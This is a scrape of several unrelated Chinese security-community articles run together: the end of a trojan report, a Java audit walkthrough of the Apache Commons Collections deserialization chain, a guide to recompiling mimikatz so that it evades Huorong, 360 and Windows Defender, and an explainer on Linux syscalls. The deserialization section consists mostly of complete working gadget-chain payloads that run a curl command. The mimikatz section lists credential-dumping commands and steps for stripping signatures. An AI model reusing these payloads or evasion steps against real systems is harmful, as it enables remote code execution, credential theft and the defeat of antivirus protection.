类似的签名攻击手法我们在今年发布的相关报告《“乱世”木马家族分析报告》和《远控木马盗用网易官方签名》中都有所提及和总结。进一步挖掘整理后发现，这批仿冒“通达信”签名的木马中，除了一部分通过钓鱼邮件传播之外，还有另外一部分正是通过“乱世”木马的Payload来传播作案的。典型的一个案例是，该Payload样本最早出现在受害用户机器的时间是2018年5月5号，经过大半年的潜伏，最终在2018年10月26号的时候启动了仿冒“通达信”的远控木马，并且受害用户也是一个从事外贸行业的人员，与上文所述钓鱼邮件的目标群体一致。
可见该作案团伙和“乱世”木马团伙有着紧密相关的联系，并且是在专门针对从事外贸行业的目标群体进行攻击，简单总结二者之间的特点和关系如下。
## 防范建议
根据该作案团伙的常用攻击手法，在此给广大用户提出以下几点防范建议。
1. 电子邮件：对于不明身份的电子邮件，提高警惕，不要轻易点开其中包含的任何链接、图片或附件；如果打开过程发现任何警告信息，不要忽视或慌张，及时阻止即可。
2. 文档类：对于来源不明的任何文档，不要轻易打开查看。若打开过程中发现弹出安全警告，请仔细查看选项，及时阻止继续运行；若打开过程发现有闪烁、崩溃等奇怪现象，可以检查一下任务管理器关闭可疑进程。
3. IM工具：对于不认识的聊天对象或者聊天群，不要轻易接收或打开其发送的任何文件、图片或链接；开启文件拓展名显示，打开文件前检查文件名和拓展名。
4. 软件工具：不要轻易在网上下载来源不明的软件程序运行，常用软件可通过官方渠道或360软件管家下载安装。
5. 安全软件，建议安装360卫士或杀毒进行全方位的安全检测和防护。
## 总结
本次攻击事件是专门瞄准特定行业的目标人群进行的，也从侧面显露了与之关联的“乱世”木马团伙其庞杂、有序的目标结构。从其攻击特点上看，该作案团伙擅长通过精心制作的针对性文档、邮件或链接，结合社会工程学与签名仿冒等技术来诱导目标实施攻击，让人防不胜防；并且，该团伙攻击成功后还可能进行长期的监控和潜伏，也不断地对木马后门组件进行更新迭代，攻击态势趋于长期化与专业化，用户不知不觉间可能早已成为攻击的目标，即使有所察觉也可能因为木马伪装隐藏自己的手法而无从应对。面对频繁活跃、日益猖獗的木马团伙，希望广大用户提高安全意识、及时安装防护软件，谨防遭受攻击威胁和财产损失。
## 附录
### Hashs
### 参考链接
1、《“乱世”木马家族分析报告》：<https://www.anquanke.com/post/id/164655>
2、《远控木马盗用网易官方签名》：<https://www.anquanke.com/post/id/162056> | 社区文章 |
从php代码审计到java代码审计还是有很大不同的,语言特性,漏洞产生的点等等,很多人都是php入门,同样我也是,但是说实话,java也是必须要掌握的,这里我选择分析一些经典的漏洞来熟悉java的代码审计,如果有理解错误的地方,希望得到师傅们的斧正。
#### Apache Commons Collections反序列化漏洞
首先利用`maven`进行自动下载下来包,看`/org/apache/commons/collections/functors/InvokerTransformer.class`
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
这个transform方法里面可以看到有个反射调用`return method.invoke(input,
this.iArgs);`,但是只有这里的话显然并不能RCE
继续看`/org/apache/commons/collections/functors/ChainedTransformer.class`
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这里可以看出来是挨个遍历transformer,调用其的transform方法然后返回个object,返回的object继续进入循环,成为下一次调用的参数,怎么通过这里来执行命令呢,来看
public static void main(String[] args)
{
Transformer[] transformers = {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}
当传入`transformers`后进行
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
当传入`InvokerTransformer`后
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
这里都会赋值,然后这里就会调用到
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
到
return method.invoke(Runtime.getRuntime(), new Object[] {"curl http://127.0.0.1:10000"});
执行命令,但是这是我们构造出来的,环境中不可能有`transformerChain.transform(Runtime.getRuntime());`
这样的操作,我们可以在`/org/apache/commons/collections/functors/ConstantTransformer.class`找到
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
传入了个Object对象,然后transform方法原样返回,看代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args)
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime() ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new test2(transformers);
transformerChain.transform("aa");
}
}
class test2 implements Transformer{
private final Transformer[] iTransformers;
public test2(Transformer[] transformers) { this.iTransformers = transformers; }
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}
这里我将ChainedTransformer类重写了一些,方便观察调试。
因为在`ConstantTransformer`中,调用transform方法时不管输入什么都不会影响返回,所以,随意输入即可。
那么能否直接这样构造进行序列化呢,编写代码试试
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args)
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime() ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new test2(transformers);
try{
File f = new File("expobject");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(transformerChain);
out.flush();
out.close();
}catch (IOException e){
e.printStackTrace();
}
try {
FileInputStream f = new FileInputStream("expobject");
ObjectInputStream oin = new ObjectInputStream(f);
Transformer expobject = (Transformer)oin.readObject();
expobject.transform("cc");
System.out.println(expobject.getClass());
}
catch (FileNotFoundException e){
e.printStackTrace();
}catch (ClassNotFoundException e){
e.printStackTrace();
}catch (IOException e){
e.printStackTrace();
}
}
}
class test2 implements Transformer, Serializable{
private final Transformer[] iTransformers;
public test2(Transformer[] transformers) { this.iTransformers = transformers; }
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}
可以看到实例化后的对象`Runtime`不允许序列化,那么我们继续修改
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args)
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new test2(transformers);
try{
File f = new File("expobject");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(transformerChain);
out.flush();
out.close();
}catch (IOException e){
e.printStackTrace();
}
try {
FileInputStream f = new FileInputStream("expobject");
ObjectInputStream oin = new ObjectInputStream(f);
Transformer expobject = (Transformer)oin.readObject();
expobject.transform("cc");
System.out.println(expobject.getClass());
}
catch (FileNotFoundException e){
e.printStackTrace();
}catch (ClassNotFoundException e){
e.printStackTrace();
}catch (IOException e){
e.printStackTrace();
}
}
}
class test2 implements Transformer, Serializable{
private final Transformer[] iTransformers;
public test2(Transformer[] transformers) { this.iTransformers = transformers; }
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
System.out.println(object.getClass());
object = this.iTransformers[i].transform(object);
}
return object;
}
}
整个调用链是
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("curl http://127.0.0.1:10000")
简单整理下调用,不然不是很好理解
object = ConstantTransformer.transform("cc");
public Object transform(Object input) {
return Runtime.class;
}
object = InvokerTransformer.transform(Runtime.class);
Class cls = Runtime.class.getClass();
Method method = cls.getMethod("getMethod", this.iParamTypes);
return method.invoke("Runtime.class", "getRuntime");
object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));
Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass();
Method method = cls.getMethod("invoke", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");
object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke());
Class cls = Runtime.class.getMethod("getRuntime").invoke().getMethod("getRuntime").getClass();
Method method = cls.getMethod("exec", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime").invoke(), "curl http://127.0.0.1:10000");
代码执行部分已经分析的差不多了,但是哪里有合适的构造点呢,根据网上的,我们来分析一下
##### 攻击链(一)
我们来看`/org/apache/commons/collections/map/TransformedMap.class`
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
这里的话只要`valueTransformer`可控即可利用我们上面的调用链,
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
当我们初始化的时候是可以控制的,怎么触发呢,继续看
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
当进入put方法的时候会触发,根据上面的调用链我们之后`value`是可以任意值的,修改代码
public static void main(String[] args)
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");
这样我们即可进行命令执行。
然后我们要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
但是我并没有找到有对map执行put的操作
这里还有一处可以实现一样的效果,这里的实现原理跟put那是一样的
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
什么时候会调用到`checkSetValue`方法呢
在它所继承的父类`AbstractInputCheckedMapDecorator`中
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
有个`MapEntry`的内部类,这里面实现了`setValue`,并且会触发`checkSetValue`，然后我们需要找一个readObject中有对map执行setValue的操作。
在jdk小于1.7的时候`/reflect/annotation/AnnotationInvocationHandler.class`中,readObject中有对map的修改功能,这里我下载了jdk1.7来看下
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
我们先看下payload触发的调用堆栈
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test implements Serializable{
public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
可以看到通过构造payload将构造的map成功传到var2,继续跟到readObject来看一下
这里如果不动态调一下的话不太好理解
首先是获取了`java.lang.annotation.Retention`的实例,然后跟进到`memberTypes`方法
会返回一个map,继续往下走到`Iterator var4 = this.memberValues.entrySet().iterator();`
因为这里`this.memberValues=TransformedMap`对象,然后调用其父类的`entrySet`方法
然后内部类会返回一个迭代器
通过这里我们可以知道为什么key一定要为`value`,我们需要让`var7`这个变量获取到`java.lang.annotation.RetentionPolicy`
然后是判断两个是否是实例的判断,然后进入到
然后这里就调用到了
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
进入`checkSetValue`，也就是可以触发的地方,来看
##### 攻击链(二)
攻击链一种的触发操作在jdk1.8是不存在的,那么我们来分析下jdk1.8中的攻击链,
我们还可以找到另外一处调`transform`可控的地方,
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
首先,map中如果不包含这个key那么就可以进入`transform`,并且可以看到factory也是我们可控的
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
也就是说只要让`factory`为`transformerChain`对象即可触发,key的值没啥影响
那么什么时候会调用get方法呢,可以找到`/org/apache/commons/collections/keyvalue/TiedMapEntry.class`
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
在toString方法中会调用,那么java中的toString什么时候调用呢
这里的toString方法的作用其实跟php的是差不多的
现在我们我还差一步,就是哪里可以触发这个`toString`进而触发getValue呢
来看`/javax/management/BadAttributeValueExpException.java`中的readObject方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
这里我们并不会触发`setSecurityManager0`的操作,也就是说在`System.getSecurityManager()`会返回null,那么就会触发toString,然后我们只要让val个变量的值为`TiedMapEntry`对象即可触发，因为这里是个私有变量,所以我们通过反射所有变量来赋值,那么整个攻击链就构造完成了。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test implements Serializable{
public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException ins = new BadAttributeValueExpException(null);
Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}
参考:
https://www.anquanke.com/post/id/82934
https://p0sec.net/index.php/archives/121/
https://security.tencent.com/index.php/blog/msg/97 | 社区文章 |
# 1\. 说明
本文的所有技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他，请在24小时内删除工具文件！！！
`工具放出来很快就会失效！！！仅供参考！`
`未经本人同意，禁止转载！（尤其是未经授权，禁止搬运至微信公众号！！！）`
# 2\. 免杀结论
## 2.1 二次编译失败
1. 二次编译免杀`火绒`失败，秒杀！
2. 二次编译后，`联网360`全家桶环境下，有效期大概2分钟左右，后`360联网`上传样本后失效。
3. `Windows Defender`免杀更不用想，秒杀！
## 2.2 其他方法成功
`免杀火绒成功`
免杀`Windows Defender（关闭自动上传可疑样本）成功`
`360`不进行测试，`联网`无意义！
相关免杀文件可在我的`GitHub`进行下载：
<https://github.com/crow821/crowsec>
# 3\. 说明
机器1：`Windows10`
编辑环境：`vs2012`
杀软：`360安全卫士联网最新版（带安全大脑，会自动上传样本）`
机器2：`Windows7`
杀软：`火绒联网最新版`
机器3：`Windows10`
杀软：`360杀毒联网最新版（会自动上传样本）`
本文原本想学习下二次编译`mimikatz`免杀`360`和`火绒`，但是经过多次折腾之后发现，`火绒`依旧对其秒杀，`360杀毒`和`360安全卫士联网（带安全大脑）`只能算`免杀1分钟`，`Windows
Defender`断网都能秒杀！
其实过`火绒`和`360`有很多方法，不过在这只是为了 ~~学习~~ （`无脑修改`）编译源码。
本文按照一个去特征的思路，慢慢的做， ~~一点点的分析~~ （`坑自己`）。
其实在本文中，mimikatz源码去特征免杀难度排序的话，应该是：
`Windows Defender`（天下无敌） > `火绒`(联网不联网都一样) > `360安全卫士`(联网版，会自动上传样本) =
`360杀毒`（联网版，会自动上传样本）>`360安全卫士`（不上传样本） >= `360杀毒` （不上传样本）
以上仅仅针对本文接下来的操作而已，其实实战中，火绒在一定程度上更容易过。
# 4\. mimikatz源码编译
从<https://github.com/gentilkiwi/mimikatz>直接将源代码下载下来：
将文件解压之后，使用`vs2012`打开：
打开之后，可以看到当前存在报错信息：
在这里右键选择重新生成解决方案：
点击之后配置环境：
在当前环境中，选择`平台工具集-`>选择`visual Studio 2012（v110）`，然后应用。
接着在`c/c++`的常规中，将错误属性设置为`否`。
在解决方案中，点击属性：
在配置属性中选择`x64`位：
直接应用，在`解决方案处`，右键-->`重新生成解决方案`：
在这里需要一些时间会编译成功(`在这里很多人都是生成成功1个，失败0个，不过都是正常`)
直接去文件夹下看文件：
在这里关闭所有防护，看下工具好不好用：
最常用的命令：
privilege::debug 提取权限
sekurlsa::logonpasswords 抓取密码
选择以管理员身份运行：
能过获得`hash`信息，证明编译有效。
# 5\. mimikatz正常编译免杀效果
当前编译之后的`mimikatz`在`火绒`和`360`、`windows Defender`环境下测试：
## 5.1 360
`360`右键`联网查杀`的时候，当即没有查出来，但是直接将样本进行上传，而且当右键运行`mimikatz`的时候，直接弹出警告信息：
再次双击运行的时候，直接报毒！
## 5.2 火绒
复制进去之后，秒杀！
## 5.3 360杀毒
## 5.4 windows Defender
在这里压根不用测试`windows Defender`，会被杀的更快：
因为本文使用的方法无法`bypass` `windows
Defender`和`360安全卫士联网版（自动上传样本）`，所以本文下面的编译部分不会对`windows
Defender`再进行测试，但是会选择性测试`360安全卫士联网版（自动上传样本）`。
# 6\. mimikatz源码去特征
## 6.1 替换关键字mimikatz
首先是去除`mimikatz`关键字，按照如图所示在文件中替换关键字：
在这里选择将`mimikatz`全部替换为`crowsec`(大小写要分开)，并且查找范围为`整个解决方案`：
`大写`：
替换关键字之后，在这里会报错，需要继续进行替换：
将整个项目文件的`mimikatz`全部进行替换为`crowsec`关键字：
此时已经替换完成：
先不要继续替换了，编译下试试看，能否编译成功：
成功以后，测试下功能：
privilege::debug 提取权限
sekurlsa::logonpasswords 抓取密码
使用正常，测试下免杀能力：
### 6.1.1 火绒
直接被秒
### 6.1.2 360杀毒(会自动上传样本)
## 6.2 mimilove.rc版本信息
该文件主要是版本信息：
删除敏感信息：
删除之后：
在空白处右键新增版本信息：
新增之后的信息：
直接保存，然后使用`解决方案资源管理器`，切换到主视图：
在这里右键选择：`重新生成`！！！
等待编译后看看文件夹：
同样的方法，试试能不能用，火绒能不能免杀：
### 6.2.1 火绒
### 6.2.2 360杀毒（会自动上传样本）
静态扫描无毒，打开提示病毒！
## 6.3 替换ico文件
如下图右键打开文件资源管理器：
很多时候，杀软对图标（`hash`）比较敏感，所以在这里进行替换`ico`，自己制作`ico`的网站：[http://www.bitbug.net](http://www.bitbug.net/)
做的时候，记得是`32*32`大小。
将新的图标进行替换：
直接编译：
得到文件（在这里因为缓存问题，小图标没有及时更新）
老问题，看看能不能用，看看能不能免杀
### 6.3.1 火绒
### 6.3.2 360杀毒（会自动上传样本）
扫描到肯定是无毒的，打开可以用，在这看到扫描的时间是`22:28:42`，趁着这个时间赶紧执行下，执行成功。
在这里发现了病毒，查阅日志发现，大概`2分钟`之后开始报毒！
## 6.4 mimilove.c
在`mimilove`中，找到`mimilove.c`文件，该文件主要是作者的信息：
## 6.5 关键字creativecommons.org替换
将`creativecommons.org`替换为`baidu.com`
再次编译下看看(`编译时间较长`)
编译成功，继续测试。
### 6.5.1 火绒
### 6.5.2 360杀毒（联网版）
等一段时间再看下：
大概`1分钟`之后，报毒！
## 6.6关键字gentilkiwi.com替换
继续去除信息：将`gentilkiwi.com`替换为`google.com`
再次编译下：
还是被杀：
### 6.6.1 火绒
### 6.6.2 360杀毒（联网版）
执行命令之后，大概2分钟左右，被杀！
## 6.7 关键字benjamin替换
将`benjamin`关键字使用同样的方法替换为`crowsec`
编译下再试试：
在这里不区分大小写的情况下再试试：
## 6.7 关键字gentilkiwi替换
将`gentilkiwi`不区分大小写的替换为`crowkiwi`
编译成功：
## 6.9 删除mimilove
还是被杀。。。。
但是不清楚什么时候开始，360已经过了。。。
同样，一段时间后：
# 7\. 总结
在这里可以看到：
无论是如何去特征后编译，都无法正常免杀火绒。（当然，一定要细究的话，也是可以的，但是难度很高，费事！）
`360`一般在本地不会主动查杀，其查杀靠的是其联网上传样本之后，因为云端查杀需要时间，所以在这之间有一段时间，可以运行木马执行命令。
`Windows
Defender`更不用考虑，所以依靠源代码二次编译免杀的难度很高，可以采用其他的方式进行免杀(`暂不提供详情`)，在这里放`bypass`成功之后的图，在这里没有放360，毕竟上传样本伤不起！
其实到这里之后，再进行免杀研究的话，难度就会低一些了，`师傅们见谅，这种方法只提供工具，暂时不能提供方法哈！`
## 7.1 bypass 火绒
## 7.2 Windows Defender （不自动上传样本）
免杀脚本在Github上可以找到：
<https://github.com/crow821/crowsec> | 社区文章 |
# Linux的系统调用机制
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
处于用户态的程序只能执行非特权指令, 如果需要使用某些特权指令, 比如: 通过io指令与硬盘交互来读取文件, 则必须通过系统调用向内核发起请求,
内核会检查请求是否安全, 从而保证用户态进程不会威胁整个系统
write(1, ptr, 0x10)系统调用为例子, 汇编可以写为如下, 内核收到请求后会向显存中写入数据, 从而在显示器上显示出来
mov rax, 1
mov rdi, 1
mov rsi, ptr
mov rdx, 0x10
syscall
C库会首先实现一个write的包裹函数, 为这个系统调用进行一些简单的参数检查和错误处理
由于write的功能十分简单, 不方面使用因此还会根据write衍生出更高级的函数printf()供用户使用
整体结构如下:
接下来我们主要研究系统调用是怎么进入和退出的, 并不研究具体处理函数的实现
## i386下处理系统调用
i386的系统调用是通过中断实现的, 因此放在了arch/i386/traps.c里面, 通过system_call()处理int 0x80的中断
system_call()声明
system_call()定义
sys_call_table就是一个函数指针数组, 定义在arch/i386/syscall.c中, 通过包含文件完成数组的初始化
unistd.h中定义了系统调用号与处理函数的句柄, 这个文件位于源码顶层, 是所有架构都必须满足的, 处理函数的举报由各个架构自己实现
总结
## 预备知识
### 段选择子
实模式下下: 实际物理地址 = (段地址<<4) + 偏移地址
保护模式下: 逻辑地址由两部分组成
* 段标识符: 16位字段, 放在段寄存器中, 为全局段表的索引
* 段内偏移: 32位
保护模式下寻址过程
* 先根据段寄存器找到段选择子(16bit)
* 再根据GDT找到段表, 用选择子作为索引, 从而找到段描述符(64bit)
* 根据段描述符找到段基址
* 段基址+ 偏移地址 得到线性地址
* 线性地址到物理地址:
* 如果没有分页那么线性地址就是物理地址,
* 如果启用了分页, 那么还要通过页表得到物理地址
* 物理地址才是类似于实模式中地址的概念, 可以直接送到总线上用于CPU访问内存
段选择子/段描述符索引
* 为 段描述表 中 段描述符 的 序号
* 由于一共13bit可用, 因此可以区分8192个段
* TI: Table Indicator, 引用描述表的指示位
* T1 = 0表示从全局段表GDT中读取
* TI = 1 表示从局部段表LDT中读取
* RPL: Requested Privilege Level, 表示请求者的特权等级, 当试图访问一个段时, 会自动当前特权等级和段要求的特权等级
由于分页机制比分段机制更加灵活, 因此现在的操作系统并不开启分段, 但是处于兼容性的考虑, 段寄存器还是被保留了下来
对于分段linux采用平坦模式, 也就是说所有的段的基址都是0, 地址空间相同, 分段只用于鉴权:
每当执行某些特权指令时CPU就会自动检查CS寄存器的RPL
* 如果为0则说明当前是内核态, 允许执行
* 如果不为0则说明是用户态, CPU会抛出一个异常, 交由内核的异常处理程序处理, 通常会向此用户进程发送SIGSEV信号
因此狭义上来说陷入内核态就是CPU令CS的RPL为0, 从而可以执行特权指令. 切换到内核态的执行环境则就是后话了
### syscall指令
64位下的系统调用就和中断没关系了, 主要依赖于syscall指令的支持, syscall指令依靠MSR寄存器找到处理系统的入口点
MSR寄存器用来对CPU进行设置, 通过WRMSR和RDMSR指令读写
x86_64寄存器架构
当syscall指令执行时, 有如下操作
* RCX保存用户态的RIP
* 从MSR寄存器中的IA32_LASAR获取RIP
* R11保存标志寄存器
* 用IA32_STAR[47:32]设置CS的选择子, 同时把RPL设置为0, 表示现在开始执行内核态代码, 这是进入内核态的第一步, 由CPU完成
* 用IA32_STAR[47:32]+8设置SS的选择子, 这也就要求GDT中栈段描述符就在代码段描述符上面
指令操作
<https://www.felixcloutier.com/x86/syscall.html>
### swapgs指令
swapgs指令: 把gs的值与IA32_KERNEL_GS_BASE MSR进行交换
<https://www.felixcloutier.com/x86/swapgs>
